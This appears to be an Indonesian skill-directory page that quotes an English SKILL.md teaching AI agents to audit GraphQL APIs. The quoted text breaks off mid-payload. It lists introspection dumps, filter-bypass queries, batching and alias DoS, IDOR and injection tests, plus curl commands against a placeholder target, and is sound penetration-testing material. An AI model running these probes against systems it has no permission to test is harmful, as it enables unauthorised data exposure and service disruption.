Langsung ke konten
Skillpedia
Keamanan5.5k Β· #14789

graphql-audit

Fungsinya

Skill ini mengajari agent cara mengaudit API GraphQL, yang memungkinkan klien meminta banyak field dalam satu panggilan. Mencakup keterbukaan skema, kontrol akses pada field tunggal, dan penyalahgunaan batching serta query bersarang.

Kapan dipakai

  • βœ“Saat target menyediakan endpoint /graphql atau GraphQL sejenis.
  • βœ“Saat penguji ingin memastikan apakah introspeksi skema terbuka.
  • βœ“Saat penguji perlu memastikan apakah satu pengguna bisa membaca data pengguna lain lewat GraphQL.

Link skill

https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/graphql-audit/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/graphql-audit/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œAudit endpoint GraphQL ini untuk introspeksi yang terbuka dan pemeriksaan akses yang hilang pada objek tunggal.”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mengidentifikasi mesin GraphQL, memeriksa apakah skema terbuka, lalu menguji saran field dan kontrol akses. Agent juga mencoba pola batching dan alias, kemudian melaporkan apa yang terkonfirmasi.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

GRAPHQL SECURITY AUDIT

GraphQL flips the threat model β€” clients drive queries. One endpoint, infinite attack surface. Introspection hands you the schema; even without it, field suggestions give you 80% back.


0. QUICK KILL CHECKLIST

[ ] Run graphql_audit.sh <endpoint> β€” full automated sweep
[ ] Check if introspection is enabled (__schema query)
[ ] If introspection off β€” run clairvoyance for field discovery
[ ] Fingerprint engine (graphw00f) β€” different engines, different CVEs
[ ] Test query batching β€” send 100 identical queries in one POST
[ ] Test alias bombing β€” 1000 aliases in one query
[ ] Check field suggestions on typos β€” leaks schema even when introspection off
[ ] Try IDOR: query another user's object by ID, no auth check
[ ] Test field-level auth: query privileged fields (admin, role, internalNote)
[ ] Inject SQLi/NoSQLi via string arguments β€” id, filter, search args
[ ] Check subscriptions: can you subscribe to other users' events?
[ ] Try introspection bypass: __schema\nquery, query batching, fragment tricks
[ ] Look for mutation rate limiting β€” account takeover / self-XSS via mutations

1. TOOL β€” graphql_audit.sh

# Basic audit
bash bughunter/tools/graphql_audit.sh https://target.com/graphql

# With auth cookie
bash bughunter/tools/graphql_audit.sh https://target.com/api/graphql --cookie "session=abc123"

# With Authorization header
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --header "Authorization: Bearer TOKEN"

# Through Burp proxy
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --proxy http://127.0.0.1:8080

# Custom output directory
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --output-dir ./findings/target/graphql

Output: findings/<target>/graphql/<timestamp>/

  • introspection.json β€” full schema dump (if enabled)
  • fingerprint.txt β€” engine type (graphw00f)
  • field_suggestions.txt β€” discovered fields via clairvoyance
  • batching_dos.txt β€” response time delta for 1 vs 100 queries
  • alias_bomb.txt β€” alias depth test results
  • injection.txt β€” injection scan results (built-in SQLi probe)
  • cop_report.txt β€” graphql-cop attack checklist results
  • summary.txt β€” hit/miss per phase

2. INTROSPECTION β€” Schema Leak (Most Common First Step)

Check If Enabled

curl -s -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { queryType { name } } }"}' | jq .

Full Schema Dump

# Pull complete introspection schema (pipe to InQL or graphql-voyager)
curl -s -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{
    "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"
  }' | jq . > schema.json

What To Look For In The Schema

- Mutations involving user data: updateUser, deleteAccount, changeEmail, changePassword
- Queries returning other users' objects: user(id: X), order(id: X)
- Fields: internalNote, adminOnly, role, isAdmin, rawPassword, apiKey
- Types: AdminUser, InternalConfig, DebugInfo
- Deprecated fields β€” often bypassed auth or forgotten
- Subscription types β€” real-time data leaks

Introspection Bypass Techniques

When __schema is blocked, try:

# Newline injection (bypasses naive keyword filters)
{"query": "query {\n  __schema\n  { queryType { name } } }"}

# Fragment trick
{"query": "fragment f on __Schema { queryType { name } } { ...f }"}

# __type instead of __schema (often overlooked in blocklists)
{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}

# Via GET request (some servers allow GET, filter only POST)
GET /graphql?query={__schema{queryType{na
Pertanyaan umum

Apa itu introspeksi?

Itu fitur GraphQL yang dapat memperlihatkan seluruh skema, dan skill ini memeriksa apakah fitur tersebut aktif.

Bagaimana jika introspeksi dimatikan?

Skill ini menyarankan penemuan field dan pemeriksaan saran salah ketik, yang tetap bisa memperlihatkan sebagian skema.

Alat apa yang disebutkan?

Skill ini menyebutkan graphw00f, clairvoyance, GraphQLmap, graphql-cop, dan inql.

Detail

Deskripsi asli dari pembuat

GraphQL security hunting β€” introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, GraphQLmap, graphql-cop, and inql. Use when a target exposes a /graphql, /api/graphql, or GQL-over-HTTP endpoint.

repo: awarexone/Agentic-Bug-Hunter

Popularitas

Bintang GitHub
5.5k
Peringkat
#14789
Lisensi
MIT
Diperbarui
28/10/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa